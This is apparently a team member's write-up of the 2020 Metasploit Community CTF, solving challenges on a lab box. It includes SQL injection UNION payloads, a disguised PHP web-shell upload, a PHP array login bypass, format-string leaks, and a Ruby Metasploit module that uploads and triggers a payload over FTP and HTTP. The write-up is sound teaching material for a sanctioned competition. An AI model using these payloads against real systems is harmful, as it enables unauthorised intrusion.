2020 December Metasploit Community CTF

I played in the 2020 December Metasploit Community CTF last weekend with my team. It was a great event (thanks to the organizers!). We had a lot of fun (aside from writing Ruby 😉) and solved all the challenges. Many of these were a group effort so I’m not claiming ownership of the solves, just sharing what I hope will be a useful resource for others.

For those unfamiliar with the Metasploit CTF format, each team is given a Kali jumpbox, and a target box to attack. Each team has its own setup, and its own private key for connecting to the Kali box. In previous years there were two target boxes (one Linux, one Windows).

There are twenty “flags” in the CTF, in the form of playing cards. Once a playing card/image is found, you can submit the md5sum for points.


After logging into the kali jumpbox, we ran an nmap scan (-sT, -p- for all ports) against the target:

80/tcp   open  http        nginx 1.19.5
1080/tcp open  socks5      (No authentication; connection failed)
1337/tcp open  waste?
4545/tcp open  http        SimpleHTTPServer 0.6 (Python 3.8.5)
5555/tcp open  telnet
6868/tcp open  http        WSGIServer 0.2 (Python 3.8.5)
8080/tcp open  http        Apache httpd 2.4.38 ((Debian))
8092/tcp open  http        Apache httpd 2.4.38 ((Debian))
8101/tcp open  http        Apache httpd 2.4.38 ((Debian))
8123/tcp open  http        WSGIServer 0.2 (Python 3.8.5)
8200/tcp open  http        Apache httpd 2.4.38 ((Debian))
8201/tcp open  http        nginx 1.19.5
8202/tcp open  http        nginx 1.19.5
8888/tcp open  http        Werkzeug httpd 1.0.1 (Python 3.8.5)
9000/tcp open  http        WEBrick httpd 1.6.0 (Ruby 2.7.0 (2019-12-25))
9001/tcp open  http        Thin httpd
9007/tcp open  http        Apache httpd 2.4.46 ((Unix))
9008/tcp open  java-object Java Object Serialization
9009/tcp open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
9010/tcp open  http        Apache httpd 2.4.38

So we’ve got 20 ports, and 20 flags to find.

Port Forwarding

Since all of the ports/services must be accessed through the Kali jumpbox, we first need to set up some kind of port forwarding.

I originally did port forwarding for the individual port I was focused on:

ssh -f -N -L<port>:<attack box ip>:<port> kali@<kali ip> -i /path/to/metasploit_ctf_kali_ssh_key.pem

As that got more tedious and we needed to do more scanning later, we followed these steps:

- Set up dynamic socks proxy:
    - `ssh -N -C -D 8888 -i /path/to/metasploit_ctf_kali_ssh_key.pem kali@<kali ip>`
- Set up Burp Suite for web apps:
    - Open web browser, connect browser to Burp Suite using FoxyProxy/etc
    - In Burp, go to 'User Options', scroll down and check 'Use SOCKS Proxy'
        - Enter IP and port 8888
- Setup Proxychains for non-web stuff:
    - Edit config with `nano /etc/proxychains.conf`
    - Add `socks4 8888` under `[ProxyList]`
    - Use proxychains
        - Ex: `sudo proxychains nmap -A <attack ip>`

4 of Hearts (port 80)

The first port I looked at was port 80 (HTTP). If you’ve got port forwarding set up, you can browse to this page (http://<attack_ip>).

If not, you can also discover and transfer the image as follows:

Then download the image using wget:


Then on your host machine:

scp -i /path/tometasploit_ctf_kali_ssh_key.pem kali@<kali_ip>:/home/kali/4_of_hearts.png ~/Downloads

$ md5sum 4_of_hearts.png
776d1d5ecfb91f71aecad71cb3c7c9d1  4_of_hearts.png

6 of Diamonds (port 8200)

After port 80, I looked at each of the ports and picked a few that I had an idea how to solve. First up is port 8200.

The idea here is that we want to upload a web shell that bypasses the file upload restrictions. After a few attempts, we can see that it accepts a .jpg file extension but not .php (or others). If we try something like .jpg.php, it will accept it, but will fail on the second step, saying that the MIME type is incorrect.

To bypass both of these issues we will upload a web shell with extension .jpg.php, and we will prepend the PHP code with the “magic header” of a JPG file (FFD8 FFE0 0A).

Here’s what this looks like in a code editor:

And here’s what it looks like in a hex editor:

It turns out this is enough to trick the upload site, and we have an uploaded shell! To get the URL, head back to the images tab, enjoy the moose photos for a moment, and then open up the webshell at <IP addr>:8200/images/shell.jpg.php

If we ls .. we can see that there’s a director named 157a7640-0fa4-11eb-adc1-0242ac120002, which contains the 6_of_diamonds.png file. We can browse there (<IP addr>:8200/157a7640-0fa4-11eb-adc1-0242ac120002/6_of_diamonds.png) and get our file:

2 of Spades (port 9001)

Next up I tried port 9001 because it looked like a SQLi challenge.

If we enter in a letter (I usually try vowels), we get a few results back. If we try the standard ' OR 1=1 -- we get more results back. So, SQLi.

We need to determine 1. how many columns are being returned so we can do a UNION SELECT, 2. what the database type is so we have correct syntax, and then 3. get the database schema. My notes aren’t very complete on this challenge but it’s a sqlite db.

To get the table names out:

' UNION SELECT 1,tbl_name,1 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_% --

As for how many columns are being returned, I added/subtracted ,1 from the portion right after the UNION SELECT until it stopped throwing errors. Not exactly a science, huh? 😂

What we’re doing here is truncating the end of the original query with the ', and then instead selecting columns from other parts of the database, which is okay as long as the overall number of columns match.

The results are:

We have a hidden table (looks interesting), the reviews table, and some other db/schema tables.

To get the column names out, we can use

' UNION SELECT 1,sql,1 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='hidden' --

The result is

CREATE TABLE "hidden" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "flag" varchar, "link" varchar)

In other words, we’ve received back the command originally used to create the hidden table, and it has columns id, flag, and link.

If we do one last query requesting the flag and link columns from the hidden table:

' UNION SELECT 1,flag,link FROM hidden --

We get the link to the 2 of spades:

Red Joker (port 9007)

If we browse to port 9007 (after setting up port forwarding as shown above), we see a directory listing with a red_joker.zip file. But if we download it and try to open it, it doesn’t work.

Binwalk to the rescue!

$ binwalk -e red_joker.zip

If we binwalk the .zip file with the -e (extract) flag, the Red Joker card is extracted for us:

3 of Spades (port 8080)

I did not solve this challenge, a teammate did (so I don’t have enough notes to fully write it up here).

The page tells us that guest is a valid username, and asks us to use our observational skills:

If we try to log in with username guest and a guess at a password, it takes a long time before we’re finally shown the “Username or password invalid” screen. But if we try it with a username like this_is_definitely_not_a_valid_username, the “Username or password invalid” screen loads almost instantly.

We can use this notable difference in timing to figure out which usernames are valid. To complete this flag, grab a wordlist (such as this one) and use a tool like Burp to see the timing results from attempted logins. When you see a username that takes 3-5 seconds to log in (instead of a much shorter time period), that’s a valid username.

The user turns out to be demo. Submit that, and you’re given a link to the card:

Queen of Hearts (ports 9010 and 9080)

If we browse to port 9010, we see another directory listing with QOH_Client.jar available for download.

Download it, and then open it in a Java decompiler such as JD-GUI.

The Client class tells us how to use the file, notably:

public void printUsage() {
  System.out.println("Usage:\n\tjava -jar QOH_Client.jar <ip> <port>\n\n\twhere port is generally 9008");

The Auth class deals with whether the user is considered logged in or not. Seems like a mistake to let the client determine whether the client is logged in but… whatever, let’s roll with it.

import java.io.Serializable;

public class AuthState implements Serializable {
  private static final long serialVersionUID = 123197894L;

  private boolean loggedIn = true; // changed this to true

  private String username = "Guest";

  public boolean isLoggedIn() {
    return this.loggedIn;

  public void setLoggedInStatus(boolean paramBoolean) {
    this.loggedIn = paramBoolean;

After recompiling the jar, you can connect to the service and request the file download. I did not do this portion of the challenge but you can take a look at this writeup for more details.

6 of Hearts (port 6868)

If we browse to this site, we see a “Photos5u” page, featuring works from Barry deVillneuve, Tanya Wallace, and Malcom Cooper.

If we look at the page source, we can see that images are loaded in via files/<initials>/<image #>. I noticed this early on and then promptly forgot about it.

Moving on to the signup page, if we create a user with name “ALPHA ALPHA”, we are then directed to a notes page of /notes/AA/<note id>.

If we make one for user “ALPHA ALPHA ALPHA”, we get a notes page of /notes/AAA/<note id>.

If we try to access another person’s initials, there’s nothing stopping us (no authentication, etc). So this site has an IDOR vulnerability.

This is the point where I should have noticed the initials above (BD, TW, and MC) but I didn’t, and instead brute-forced all the initials. Whoops.

Here are the notes from initials BD, TW and MC that are relevant to us:

So the site admin has first name Beth, last name Yaeger (no hits for initials “BY”) and apparently three middle names: Ulysses Denise Donolly.

If we search for initials BUDDY:

Close, but no cigar… at this point one of my teammates pointed out that there’s also the files available at files/<initials>/<file id>.

If we go to files/BUDDY/0 and keep increasing the id #, we find the card at /files/BUDDY/2.

Queen of Spades (port 8202)

Port 8202 has a nodeJS app (Next.js, specifically) that isn’t accepting new signups:

I didn’t see anything too interesting in the source code, but this GraphQL-looking query (in the /api request) caught my eye:

GraphQL is great, and I’ve written about it before in the context of CTF challenges.

It’s possible to send GraphQL queries through curl… but it’s kind of a pain in the ass. So I used [https://github.com/hasura/graphqurl][https://github.com/hasura/graphqurl] instead, to get a graphiQL (with an i) GUI experience.

First, let’s learn about the schema and see what queries are available:

  __schema {
    queryType {
      fields {

The posts query looks interesting, let’s try that:

If we browse to the provided URL, we get the card:

8 of Hearts (port 4545)

This site has two files available for download: 8_of_hearts.enc and 8_of_hearts.elf.

The goal is to provide an input such that the program decrypts the encrypted file for us. If we open it up in Ghidra, we see this:

Essentially, it listens for user input and compares it to the word “buffalo”. If it matches, it opens up the .enc file and “decrypts” part of it by XORing it with 0x41. Then it repeats this (asking for buffalo) 0x3e2 times… which is a lot.

So we can either write an input that says buffalo 0x3ea times:

$ python -c 'print "buffalo"*0x3e2' | ./8_of_hearts.elf

And get the image that way… or we “decrypt” (scare quotes bc one-byte XOR is some pretty weak encryption) by XORing each byte of the file with 0x41, either with our own code or with something like CyberChef and save the output as a .png file.

Black Joker (port 8123)

If we browse to port 8123, we see this hilarious salt-ing troll site:

There’s a login at /admin, and two other pages at /hint and /sign-up.

The bottom of the main page lists admin@example.com as the contact email.

If we go to /sign-up and try to make a new account, we can play around to figure out what password values/lengths are valid, but we can’t actually make a new account. The javascript shows the password constraints:

var valid_pwd_regex = /^[a-z0-9]+$/;

submit_btn.addEventListener('click', function(){
    if (pwd.value.match(valid_pwd_regex) && pwd.value.length <= 14 && pwd.value.length >= 9) {
        div.innerHTML = "That password is valid!\nWe're not taking new members at the moment, but we'll get back to you.";
    } else {
       div.innerHTML = "Invalid password!";

So, 14 characters or fewer, and only lowercase a-z and 0-9 allowed.

If we go to /hint and enter admin@example.com, it says the password begins with ihatesalt. Okay then.

Our password is up to 14 chars long, and ihatesalt is 9, so we need to guess the other 5: ihatesalt_ _ _ _ _

If you look at the full response of the hint request, it returns the md5 but doesn’t display it on the page:

My teammate solved the rest of this challenge, but the tl;dr is that we need to write a script that adds 5 a-z0-9 chars to the end of ihatesalt, md5 the output, and see if it matches the hash in the image. If so, we have our password (this is why salting is important… it’d make this attack much much harder).

The answer is ihatesaltalot7. If we go to /admin and login with admin@example.com and ihatesaltalot7, we get the flag:

4 of Clubs (port 8092)

This one is a PHP challenge that was solved my teammate. We’re shown the PHP code we need to bypass:

The trick is to cause password_hash() by providing a password param as an array instead of a string. This will cause the first part of the if statement to return NULL. Then we just have to send an empty hash parameter, and NULL == NULL will evaluate to true.

The original login.php request returns this response:

$ curl 'http://localhost:8092/login.php' --data-raw 'user=admin&password=a&hash=a'
Invalid login! Maybe you should read the source code more closely?
<script>setTimeout(() => { document.location = '/index.php'; }, 6000)</script>

If we change the password param to be an array, and leave the hash param empty:

$ curl 'http://localhost:8092/login.php' --data-raw 'user=admin&password[]=a&hash='
<br />
<b>Warning</b>:  password_hash() expects parameter 1 to be string, array given in <b>/var/www/html/login.php</b> on line <b>6</b><br />
<br /><br /><h2>Congrats! Now visit <a href="/completedItCongrats453223232.png">this page</a> to get the challenge completion image!</h2>

Ace of Clubs (port 9009)

One of my teammates solved this one. The tl;dr is that it’s a privilege escalation challenge using a suid binary at /opt/vpn_connect. You can write over any file by creating a symlink using ./logs/logfile. Check out this link for a more complete writeup.

9 of Diamonds (port 8201)

If we try to make a request to port 8201, we get a 302 response. If we add an -L to follow the redirect, we get:

kali@kali:~$ curl -L
curl: (6) Could not resolve host: intranet.metasploit.ctf

If we try again with an intranet Host header:

curl -v  --header "Host: :8201"

It looks like we’ll have to guess the intranet subdomain name ourselves. My teammate solved this one but the gist of it is using wfuzz to query different subdomain names to see which give back interesting responses:

curl -v  --header "Host: FUZZ.intranet.metasploit.ctf:8201"
000000111:   200        1 L      10 W     68 Ch       "login"
000000231:   200        1 L      10 W     68 Ch       "reports"
000000341:   200        1 L      10 W     68 Ch       "assets"
000000487:   200        1 L      10 W     68 Ch       "software"
000001407:   200        1 L      10 W     68 Ch       "articles"
000000736:   200        1 L      10 W     68 Ch       "contact"

These all say Good job; Unfortunately this isn't the subdomain you're looking for. The answer turns out to be hidden.intranet.metasploit.ctf.

From there, we just curl/wget the card:

7 of Spades (port 8888)

I wasn’t involved in solving this one but the tl;dr is that it’s a python pickle serialization challenge. This vulnerability can be used to get RCE, and then write the flag value (which has been deleted from the file system but is still available in a variable) to a file.

A more complete writeup is available here.

2 of Hearts (port 9000)

Likewise, I wasn’t involved in this one either. The summary is that the search command is doing some kind of file system command (as seen with the ./Games result when you search for a). You can use other global chars like ? * [ ]. This command injection issue can be used to get a reverse shell.

A more complete writeup is available here.

8 of Diamonds (port 5555)

Another one I didn’t solve… if you telnet to this port, you can play a little command line game. If you get a high enough score, you get the flag.

My teammate wrote a pwntools script to camp out on one side of the playing field, and would move one space over to avoid objects, then move back. Here is a gist I found of code similar to theirs. After you get enough points (~500), port 7878 opens up for a flag download.

9 of Clubs (port 1337)

If we connect to port 1337 with netcat, and try some of the different options, we notice that option two has a string format vulnerability:

Usually, string format attacks in CTFs come with a binary file, so I thought we’d have to leak the memory through the print format vuln. Turns out it’s way simpler than that. 😅

If you supply %X$s (where X is an integer, e.g. 0, 1, 2…) as the input after selecting option two, you can start leaking memory.

If you go far enough, you’ll get the flag value out of memory:

5 of Clubs (port 8101)

For this challenge, we need to write a Metasploit module that logs in to the FTP server, transfers a file, and then requests it from the website. We’re provided a PCAP file that demonstrates these commands, and then a couple of example scripts. A very similar (already existing) module can be seen here.

This one was a neat challenge in theory, but really just showed me how much I dislike writing Ruby. 😛

Rather than copy/paste a ton of Ruby, I’ll point out the important parts. We need to register options in the .rb file:

    OptPort.new('RPORT', [true, 'HTTP port', 80]),
    OptPort.new('RPORT_FTP', [true, 'FTP port', 21]),
    OptString.new('TARGETURI', [true, 'Base path to the website', '/files']),
    OptString.new('FTPUSER', [ true, 'User to login with', 'ftpuser']),
    OptString.new('FTPPASS', [ true, 'Password to login with', 'ftpuser']),

Metasploit has a ton of handy functions that allow you to do most of this auto-magically. However, we couldn’t get them to work, and didn’t have enough insight into the backend processes to effectively debug things, so we wrote it out, similar to how the example FTP module does it. Please do not judge my ugly code. 🙃

def exploit
  # 1 - connect and log in to FTP server
  ftp_port = datastore['RPORT_FTP']
  ftp_user = datastore['FTPUSER']
  ftp_pass = datastore['FTPPASS']

  file_name = rand_text_alphanumeric(5+rand(3)) + '.php'

  #### from https://github.com/rapid7/metasploit-framework/blob/a2675c13e88dc1df9e6cfed9021b2a5d4f82d231/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
  get_arg = rand_text_alphanumeric(5+rand(3))

  sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

  if sock.nil?
    fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    print_status("#{rhost}:#{ftp_port} - Connected to FTP server")

  res = sock.get_once(-1, 10)
  unless res && res.include?('(vsFTPd 3.0.3)')
    fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving banner")

  print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server")

  print_status("USER #{ftp_user}\r\n")
  sock.put("USER #{ftp_user}\r\n")
  resp = sock.get_once(-1, 30).to_s
  print_status("USER: #{resp.strip}")

  if resp =~ /^530 /
    print_error("This server is configured for anonymous only and the backdoor code cannot be reached")

  if resp !~ /^331 /
    print_error("This server did not respond as expected: #{resp.strip}")

  sock.put("PASS #{ftp_pass}\r\n")
  resp = sock.get_once(-1, 30).to_s
  print_status("Login?: #{resp.strip}")

  # 2 - change to files dir
  sock.puts("CWD files\r\n")
  res = sock.get_once(-1, 10)
  print_status("Cwd?: #{res.strip}")

  # 3 - upload file
  sock.put("TYPE a\r\n")
  res = sock.get_once(-1, 10)
  print_status("Type a?: #{res.strip}")

  res = sock.get_once(-1, 10)
  print_status("Passive?: #{res}")
  temp = res.delete_prefix!('227 Entering Passive Mode (')

  # temp2 = temp.delete_suffix!(')')
  temp2 = temp.chop.chop.chop

  # >> "1,2,3,4".split(",").map { |s| s.to_i }
  # => [1, 2, 3, 4]
  nums = temp2.split(",").map { |s| s.to_i }
  usePort = (nums.last(2)[0] * 256) + nums.last(2)[1]

  sock.put("STOR #{file_name}\r\n")
  res = sock.get_once(-1, 10)
  print_status("Okay to write?: #{res}")

  data_sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => usePort)
  res = data_sock.get_once(-1, 10)
  print_status("File written?: #{res}")

  sock.put("TYPE a\r\n")
  res = sock.get_once(-1, 10)
  print_status("Type a?: #{res}")

  res = sock.get_once(-1, 10)
  print_status("File written check?: #{res}")

  res = sock.get_once(-1, 10)
  print_status("Quit?: #{res}")


  # 4 - HTTP request
  print_status("#{normalize_uri(target_uri.path, file_name)}")
  res = send_request_cgi!(
    'uri' => normalize_uri(target_uri.path, file_name),
    'method' => 'GET',
    'vars_get' => { get_arg => "nohup #{payload.encoded} &" }


  unless res && res.code == 200
    fail_with(Failure::Unknown, "#{rhost}:#{80} - Failure executing payload")

The start of the .rc file looks like this:

# The module is copied to `modules/exploits/`, so don't change this
use exploit/module

# Do your datastore initialization here
# e.g.:
set RPORT 80
set RPORT_FTP 21
set TARGETURI /files
set FTPUSER ftpuser
set FTPUSER ftpuser

# Make sure everything is alright
show options

# this will execute the module and put any session in background
run -z

After getting code execution, it was a matter of finding the right commands to locate the flag, and then print it out. I couldn’t get the base64 command to work so I just md5sum’d it and took that value:

run_single("sessions -i 1 -C 'cd ../..'")
run_single("sessions -i 1 -C 'checksum md5 5_of_clubs.png'")

While we don’t have the image, we can turn the md5sum (shown at the bottom of that screenshot) in to claim the 5 of Clubs.

8 of Spades (port 1080… sorta)

Port 1080 is a socks proxy. If we setup proxychains to use it as our proxy, then we can run:

proxychains nmap  -sV -v -A -p-

And get a different nmap result than we did earlier:

Port 8000 is open to us through the proxy, so let’s try curling that:

And there’s our flag!

9 of Hearts (udp 53)

This one took us forever because we forgot about DNS. 🤦‍♀️

We did another nmap scan and noticed that udp port 53 was open.

If we query it:

dig +notcp -x @

We see 9ofhearts.ctf… if we query again for the txt record:

dig +notcp txt 9ofhearts.ctf @

We get a big base64 value back:

If we save this to a file, and then base64 decode it and save it to another file: $ base64 -D .png.b64 > .png

We get our flag:


Thanks again to the Metasploit CTF organizers, and to the folks whose writeups I linked to! 

Check out Rapid7’s summary page of the event here.